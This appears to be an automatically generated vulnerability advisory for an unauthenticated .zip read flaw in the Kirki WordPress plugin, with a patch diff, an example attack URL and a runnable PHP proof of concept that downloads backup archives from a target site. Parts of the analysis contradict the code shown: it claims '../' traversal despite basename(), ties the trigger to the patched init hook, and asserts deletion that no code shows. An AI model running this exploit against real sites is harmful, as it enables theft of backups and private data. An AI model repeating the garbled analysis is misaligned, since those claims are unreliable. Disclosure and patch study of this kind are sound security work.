Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 22, 2026

CVE-2026-8073: Kirki <= 6.0.6 – Unauthenticated Limited Arbitrary File Read and Deletion via downloadZIP (kirki)

CVE ID CVE-2026-8073
Plugin kirki
Severity High (CVSS 7.5)
CWE 23
Vulnerable Version 6.0.6
Patched Version 6.0.7
Disclosed May 18, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-8073:

This vulnerability allows unauthenticated attackers to read and delete arbitrary .zip files within the WordPress uploads directory via the Kirki plugin (versions up to 6.0.6). The flaw resides in the downloadZIP function within /kirki/includes/API.php and a missing permission check for the ‘page-export’ endpoint. The CVSS score is 7.5.

Root Cause: The downloadZIP function in /kirki/includes/API.php (lines 57-68) lacked a permission check. The original constructor at line 30-35 directly called downloadZIP() when $_GET[‘page-export’] === ‘true’ and $_GET[‘file-name’] was set, with no authentication or capability verification. The file path validation only used basename() and a pathinfo extension check, which was also buggy (using ‘!’ before pathinfo incorrectly). This allowed traversal within the uploads directory via path manipulation in the file-name parameter. Additionally, the HelperFunctions::has_access() function (line 2969-2976) was not called from this code path, so unauthenticated users could trigger the function.

Exploitation: An attacker sends a GET request to any WordPress URL with the parameters ‘page-export’ set to ‘true’ and ‘file-name’ containing a path to a .zip file within the uploads directory (e.g., using directory traversal like ‘../’ to reach other directories within uploads). Example: GET /wp-admin/admin-ajax.php?page-export=true&file-name=../../../wp-content/uploads/backup.zip (or directly requesting the plugin’s URL). The lack of nonce validation and the absence of permission checks means an unauthenticated attacker can enumerate or delete .zip files by specifying their paths.

Patch Analysis: The patch moves the downloadZIP trigger from the constructor to an ‘init’ hook via a new method download_zip_endpoint(). This method now calls HelperFunctions::has_access(KIRKI_ACCESS_LEVELS[‘FULL_ACCESS’]) before proceeding. Additionally, the pathinfo extension comparison was fixed by removing the erroneous ‘!’ operator. The patch also improves the forgot password flow (user email validation) and adds array serialization handling, but those are not directly related to the file read/deletion fix. The key change is: before, any visitor could trigger downloadZIP; after, only authenticated users with FULL_ACCESS capability can.

Impact: An unauthenticated attacker can read arbitrary .zip files from the uploads directory, potentially exfiltrating sensitive site backups, exported data, or user uploads. They can also delete those files, causing data loss. This does not allow arbitrary file read (only .zip extension) and is limited to the uploads base directory, but still poses a serious confidentiality and availability risk.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/kirki/ComponentLibrary/controller/CompLibFormHandler.php
+++ b/kirki/ComponentLibrary/controller/CompLibFormHandler.php
@@ -6,6 +6,7 @@
 	exit; // Exit if accessed directly.
 }

+use KirkiAjaxPage;
 use KirkiHelperFunctions;
 use WP_REST_Server;
 use WP_REST_Controller;
@@ -267,14 +268,16 @@

 		if ( strlen( $username ) === 0 && isset( $form_data['email'] ) && strlen( $email ) > 0 ) {
 			$user = get_user_by( 'email', $email );
-			if ( $user ) {
-				$username = $user->get( 'user_login' );
-			} else {
-				$response = array(
-					'message' => 'User not found',
-				);
-				return new WP_REST_Response( $response, 404 );
+
+			if ( ! $user ) {
+				return new WP_REST_Response( array( 'message' => 'User not found' ), 404 );
 			}
+
+			$username = $user->get( 'user_login' );
+		}
+
+		if ( empty( $username ) ) {
+			return new WP_REST_Response( array( 'message' => 'Invalid request' ), 400 );
 		}

 		if ( isset( $username ) && strlen( $username ) > 0 ) {
@@ -287,6 +290,15 @@
 				return new WP_REST_Response( $response, 404 );
 			}

+			$user_email = $user->get( 'user_email' );
+			if($email !== $user_email) {
+				$response = array(
+					'message' => 'Invalid email address',
+				);
+				return new WP_REST_Response( $response, 404 );
+			}
+			$email = $user_email;
+
 			$key = get_password_reset_key( $user );
 			if ( is_wp_error( $key ) ) {
 				$response = array(
@@ -296,7 +308,7 @@
 			}

 			// Prepare email content.
-			$url = HelperFunctions::get_utility_page_url( 'reset_password' );
+			$url = HelperFunctions::get_utility_page_url( Page::TYPE_FORGOT_PASSWORD );

 			$username  = $user->user_login;
 			$chip_data = array(
@@ -311,12 +323,12 @@
 			$email_body    = '';

 			if ( isset( $form_data['emailBody'] ) ) {
-				$email_body = json_decode( $form_data['emailBody'], true );
-				foreach ( $email_body as $key => $body_data ) {
+				$email_body_array = json_decode( $form_data['emailBody'], true );
+				foreach ( $email_body_array as $key => $body_data ) {
 					if ( isset( $body_data['type'] ) && isset( $body_data['value'] ) && $body_data['type'] === 'text' ) {
-						$email_body = $email_body . $body_data['value'];
+						$email_body .= $body_data['value'];
 					} elseif ( isset( $body_data['type'] ) && isset( $body_data['value'] ) && $body_data['type'] === 'chip' ) {
-						$email_body = $email_body . $chip_data[ $body_data['value'] ];
+						$email_body .= $chip_data[ $body_data['value'] ];
 					}
 				}
 			}
--- a/kirki/includes/API.php
+++ b/kirki/includes/API.php
@@ -30,12 +30,8 @@
 	 * @return void
 	 */
 	public function __construct() {
-		 add_action( 'rest_api_init', array( $this, 'register_api' ) );
-
-		if ( isset( $_GET['page-export'], $_GET['file-name'] ) && $_GET['page-export'] === 'true' ) {
-			// TODO: need to check nonce
-			$this->downloadZIP();
-		}
+		add_action( 'rest_api_init', array( $this, 'register_api' ) );
+		add_action( 'init', array( $this, 'download_zip_endpoint' ) );
 	}

 	/**
@@ -57,12 +53,28 @@
 		FrontendApi::register();
 	}

+	public function download_zip_endpoint() {
+		if (
+			! isset( $_GET['page-export'], $_GET['file-name'] ) ||
+			'true' !== $_GET['page-export']
+		) {
+			return;
+		}
+
+		if ( ! HelperFunctions::has_access( KIRKI_ACCESS_LEVELS['FULL_ACCESS'] ) ) {
+			wp_send_json_error( 'Not authorized', 401 );
+		}
+
+		// TODO: need to check nonce
+		$this->downloadZIP();
+	}
+
 	private function downloadZIP() {
 		$upload_dir = wp_upload_dir();
 		$file_name  = HelperFunctions::sanitize_text( $_GET['file-name'] );
 		$file_name  = basename( $file_name );
 		// Check if the file has a .zip extension
-		if ( ! pathinfo( $file_name, PATHINFO_EXTENSION ) === 'zip' ) {
+		if ( pathinfo( $file_name, PATHINFO_EXTENSION ) !== 'zip' ) {
 			echo 'Invalid file type.';
 			die();
 		}
--- a/kirki/includes/API/Frontend/Controllers/FormController.php
+++ b/kirki/includes/API/Frontend/Controllers/FormController.php
@@ -639,6 +639,11 @@
 			foreach ( $form_data as $name => $value ) {
 				$type = isset( $form_data_types[ $name ]['type'] ) ? $form_data_types[ $name ]['type'] : 'text';

+				// Handle array values by serializing them
+				if (is_array($value)) {
+					$value = serialize($value);
+				}
+
 				array_push(
 					$values,
 					$form_id,
@@ -646,7 +651,7 @@
 					$session_id,
 					$timestamp,
 					"$name",
-					"$value",
+					$value,
 					"$type"
 				);

--- a/kirki/includes/Admin/AdminMenu.php
+++ b/kirki/includes/Admin/AdminMenu.php
@@ -110,7 +110,11 @@
 	 * @return void
 	 */
 	public function admin_menu() {
-		add_menu_page( 'Kirki - Home', 'Kirki', 'edit_posts', 'kirki', array( $this, 'plugin_page' ), 'dashicons-kirki', 25 );
+		/* FREE_START */
+		$menu_title = 'Kirki';
+		/* FREE_END */
+
+		add_menu_page( 'Kirki - Home', $menu_title, 'edit_posts', 'kirki', array( $this, 'plugin_page' ), 'dashicons-kirki', 25 );

 		foreach ( $this->dashboard_toolbar_submenus as $slug => $submenu ) {
 			add_submenu_page(
--- a/kirki/includes/Ajax.php
+++ b/kirki/includes/Ajax.php
@@ -309,7 +309,7 @@
 		//phpcs:ignore WordPress.Security.NonceVerification.Missing,WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.MissingUnslash,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
 		$endpoint = HelperFunctions::sanitize_text( isset( $_GET['endpoint'] ) ? $_GET['endpoint'] : null );
 		if ( in_array( $endpoint, array( 'collect-collaboration-actions', 'delete-collaboration-connection' ), true ) ) {
-			if ( ! $this->user_can_access_collaboration() ) {
+			if ( ! $this->user_can_access_wp_apis() ) {
 				wp_send_json_error( 'Not authorized' );
 			}
 		} else {
@@ -609,11 +609,11 @@
 	}

 	/**
-	 * Check if the current request can access collaboration endpoints.
+	 * Check if the current request can access wp endpoints.
 	 *
 	 * @return bool
 	 */
-	private function user_can_access_collaboration() {
+	private function user_can_access_wp_apis() {
 		return is_user_logged_in() && HelperFunctions::has_access(
 			array(
 				KIRKI_ACCESS_LEVELS['FULL_ACCESS'],
@@ -704,7 +704,11 @@
 	 */
 	public function kirki_wp_admin_get_apis() {
 		if ( ! is_admin() ) {
-			wp_send_json_error( 'Not authorized' );
+			wp_send_json_error( 'Not authorized', 401 );
+		}
+
+		if ( ! HelperFunctions::has_access( KIRKI_ACCESS_LEVELS['FULL_ACCESS'] ) ) {
+			wp_send_json_error( 'Not authorized', 401 );
 		}

 		//phpcs:ignore WordPress.Security.NonceVerification.Missing,WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.MissingUnslash,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
--- a/kirki/includes/Ajax/Form.php
+++ b/kirki/includes/Ajax/Form.php
@@ -804,11 +804,17 @@
 					$data[ $form_data_item['timestamp'] ]['id'] = $form_data_item['timestamp'];
 				}

+				// Handle array values by unserializing them
+				$input_value = $form_data_item['input_value'];
+				if (is_string($input_value) && @unserialize($input_value) !== false) {
+					$input_value = unserialize($input_value);
+				}
+
 				if ( isset( $data[ $form_data_item['timestamp'] ] ) ) {
-					$data[ $form_data_item['timestamp'] ][ $form_data_item['input_key'] ] = $form_data_item['input_value'];
+					$data[$form_data_item['timestamp']][$form_data_item['input_key']] = $input_value;
 				} else {
 					$data[ $form_data_item['timestamp'] ] = array(
-						$form_data_item['input_key'] => $form_data_item['input_value'],
+						$form_data_item['input_key'] => $input_value,
 					);
 				}

--- a/kirki/includes/Ajax/Page.php
+++ b/kirki/includes/Ajax/Page.php
@@ -18,6 +18,9 @@
  */
 class Page {

+	const TYPE_FORGOT_PASSWORD = 'forgot_password';
+	const TYPE_RESET_PASSWORD = 'reset_password';
+
 	/**
 	 * Save page data
 	 *
--- a/kirki/includes/Frontend/Preview/Preview.php
+++ b/kirki/includes/Frontend/Preview/Preview.php
@@ -893,9 +893,71 @@
 			}

 			foreach ( $props as $prop_name => $prop_value ) {
-				if ( is_array( $prop_value ) && isset( $prop_value['value'], $prop_value['unit'] ) ) {
-					$css_declarations .= $prop_name . ':' . $prop_value['value'] . $prop_value['unit'] . ';';
-				} elseif ( is_string( $prop_value ) || is_numeric( $prop_value ) ) {
+
+				// font-feature-settings
+				if (
+					$prop_name === 'font-feature-settings' &&
+					is_array( $prop_value ) &&
+					isset( $prop_value['value'] ) &&
+					is_array( $prop_value['value'] )
+				) {
+					$css_string = implode(
+						', ',
+						array_map(
+							function( $key ) {
+								return '"' . $key . '"';
+							},
+							array_keys( $prop_value['value'] )
+						)
+					);
+
+					$css_declarations .= $prop_name . ':' . $css_string . ';';
+					continue;
+				}
+
+				// value + unit object
+				if (
+					is_array( $prop_value ) &&
+					isset( $prop_value['value'], $prop_value['unit'] )
+				) {
+
+					// font-size clamp
+					if (
+						$prop_name === 'font-size' &&
+						isset( $prop_value['type'] ) &&
+						str_contains( $prop_value['type'], 'clamp-' )
+					) {
+
+						$min_value = isset($prop_value['min'], $prop_value['min']['value'] ) ? $prop_value['min']['value'] : 0;
+						$min_unit  = isset($prop_value['min'], $prop_value['min']['unit'] ) ? $prop_value['min']['unit'] : 'px';
+
+						$base_value = isset($prop_value['base'], $prop_value['base']['value'] ) ? $prop_value['base']['value'] : 0;
+						$base_unit  = isset($prop_value['base'], $prop_value['base']['unit'] ) ? $prop_value['base']['unit'] : 'px';
+
+						$max_value = isset($prop_value['max'], $prop_value['max']['value'] ) ? $prop_value['max']['value'] : 0;
+						$max_unit  = isset($prop_value['max'], $prop_value['max']['unit'] ) ? $prop_value['max']['unit'] : 'px';
+
+						$css_declarations .= "{$prop_name}:clamp({$min_value}{$min_unit}, {$base_value}{$base_unit}, {$max_value}{$max_unit});";
+
+					// special max-width values
+					} elseif (
+						$prop_name === 'max-width' &&
+						in_array( $prop_value['value'], array(  'none', 'fit-content', 'max-content', 'min-content' ), true )
+					) {
+
+						$css_declarations .= $prop_name . ':' . $prop_value['value'] . ';';
+
+					} else {
+
+						$css_declarations .= $prop_name . ':' . $prop_value['value'] . $prop_value['unit'] . ';';
+					}
+
+				// string or number
+				} elseif (
+					( is_string( $prop_value ) && $prop_value !== '' ) ||
+					is_numeric( $prop_value )
+				) {
+
 					$css_declarations .= $prop_name . ':' . $prop_value . ';';
 				}
 			}
@@ -1174,7 +1236,7 @@
 		if ( isset( $element['properties'] ) ) {
 			$properties = $element['properties'];

-			if ( isset( $properties['interactions'] ) && ( ! isset( $element['stylePanels'] ) || ( isset( $element['stylePanels'], $element['stylePanels']['interaction'] ) && $element['stylePanels']['interaction'] ) ) ) {
+			if ( isset( $properties['interactions'] ) ) {
 				$this->interactions[ $id ] = $this->updateClassListForInteractionFromStyleBlockId( $properties['interactions'], $element );
 			}

@@ -1917,10 +1979,10 @@
 					}

 					if ( $dynamic_content['type'] === 'post' ) {
-						if ( isset( $options['post'] ) && isset( $options['post']->{$dynamic_content['value']} ) ) {
+						if ( isset( $options['post'], $dynamic_content['value'] ) && isset( $options['post']->{$dynamic_content['value']} ) ) {
 							$href = $options['post']->{$dynamic_content['value']};
 						} else {
-							$href = HelperFunctions::get_post_dynamic_content( $dynamic_content['value'], isset( $options['post'] ) ? $options['post'] : null );
+							$href = HelperFunctions::get_post_dynamic_content( isset($dynamic_content['value']) ? $dynamic_content['value'] : false, isset( $options['post'] ) ? $options['post'] : null );
 						}
 					} elseif ( $dynamic_content['type'] === 'term' && isset( $options['term'], $options['term']['term_id'] ) ) {

@@ -2279,15 +2341,6 @@
 		$ele_class_names = isset( $this_element['className'] ) ? explode( ' ', $this_element['className'] ) : array();
 		$class_array     = array_merge( $ele_class_names, $class_array );

-		// Check for disabled styles panels.
-		if ( isset( $this_element['stylePanels'] ) && is_array( $this_element['stylePanels'] ) ) {
-			foreach ( $this_element['stylePanels'] as $name => $value ) {
-				if ( ! $value ) {
-					array_push( $class_array,'kirki-disabled-' . $name );
-				}
-			}
-		}
-
 		if ( in_array( $this_element['name'], $this->inline_elements, true ) ) {
 			array_push( $class_array, 'kirki-inline-element' );
 		}
--- a/kirki/includes/Frontend/Preview/Utils.php
+++ b/kirki/includes/Frontend/Preview/Utils.php
@@ -289,7 +289,7 @@
 			return $html;
 		}
 		// Post excerpt length for frontend. If post excerpt is used.
-		if ( $dynamic_content['value'] === 'post_excerpt' && isset( $dynamic_content['postExcerptLength'] ) ) {
+		if (isset($dynamic_content['value']) && $dynamic_content['value'] === 'post_excerpt' && isset( $dynamic_content['postExcerptLength'] ) ) {
 			$post_excerpt_length                  = $dynamic_content['postExcerptLength'] ?? 55;
 			$GLOBALS['kirki_post_excerpt_length'] = $post_excerpt_length;
 		}
@@ -309,10 +309,15 @@
 			return $content;
 		}

+		// fix warning
+		if(!isset($dynamic_content['value'])){
+			$dynamic_content['value'] = false;
+		}
+
 		if ( $dynamic_content['type'] === 'post' ) {
 			$dynamic_options = array();
 			$cm_field_type   = isset( $dynamic_content['cmFieldType'] ) ? $dynamic_content['cmFieldType'] : '';
-			if ( 'post_date' === $dynamic_content['value'] && isset( $dynamic_content['format'] ) ) {
+			if ( isset( $dynamic_content['format'] ) && 'post_date' === $dynamic_content['value'] ) {
 				$dynamic_options['format'] = $dynamic_content['format'];
 			} elseif ( ( 'post_time' === $dynamic_content['value'] || 'time' === $cm_field_type ) && isset( $dynamic_content['timeFormat'] ) ) {
 				$dynamic_options['timeFormat'] = $dynamic_content['timeFormat'];
--- a/kirki/includes/HelperFunctions.php
+++ b/kirki/includes/HelperFunctions.php
@@ -2969,6 +2969,10 @@
 	 * @param string|string[] $access_level The access level to check access.
 	 */
 	public static function has_access( $access_level ) {
+		if ( ! function_exists( 'wp_get_current_user' ) ) {
+			return false;
+		}
+
 		$user       = wp_get_current_user();
 		$roles      = $user->roles;
 		$has_access = false;
--- a/kirki/kirki.php
+++ b/kirki/kirki.php
@@ -7,7 +7,7 @@
  * Plugin Name: Kirki
  * Plugin URI: https://kirki.com
  * Description: Kirki is an all-in-one no-code builder that empowers users to build professional-grade WordPress sites without writing any code. It’s a promising glimpse into the future of website development.
- * Version: 6.0.6
+ * Version: 6.0.7
  * Author: Kirki
  * Author URI: https://kirki.com
  * Text Domain: kirki
@@ -24,7 +24,7 @@

 // Define KIRKI_VERSION early to prevent bundled Kirki versions from loading.
 if ( ! defined( 'KIRKI_VERSION' ) ) {
-	define( 'KIRKI_VERSION', '6.0.6' );
+	define( 'KIRKI_VERSION', '6.0.7' );
 }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-8073 - Kirki <= 6.0.6 - Unauthenticated Limited Arbitrary File Read and Deletion via downloadZIP

// This PoC demonstrates reading a .zip file from the WordPress uploads directory.
// The attacker supplies the file path relative to the uploads base.

$target_url = 'http://example.com';  // Change to target WordPress URL

// Specify the path to a .zip file within the uploads directory, e.g., a backup file.
// The attacker can attempt path traversal but is limited to uploads base.
$file_name = '2025/03/backup.zip';  // Example: year/month/filename.zip

// The vulnerability triggers on any WordPress URL when these GET params are set.
// We target the main site URL directly as page-export is processed via init hook.
$params = array(
    'page-export' => 'true',
    'file-name'   => $file_name
);

$url = $target_url . '?' . http_build_query($params);

echo "[+] Requesting: " . $url . "n";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_HEADER, true);  // Capture headers to see Content-Type
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] HTTP Status: " . $http_code . "n";

if ($http_code === 200) {
    // If successful, the plugin returns the file content directly.
    // We can save the response body to a local file.
    $file_path = 'downloaded_' . basename($file_name);
    file_put_contents($file_path, $response);
    echo "[+] File saved to: " . $file_path . "n";
} else {
    echo "[-] Request failed or file not accessible.n";
}

echo "[+] Done.n";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School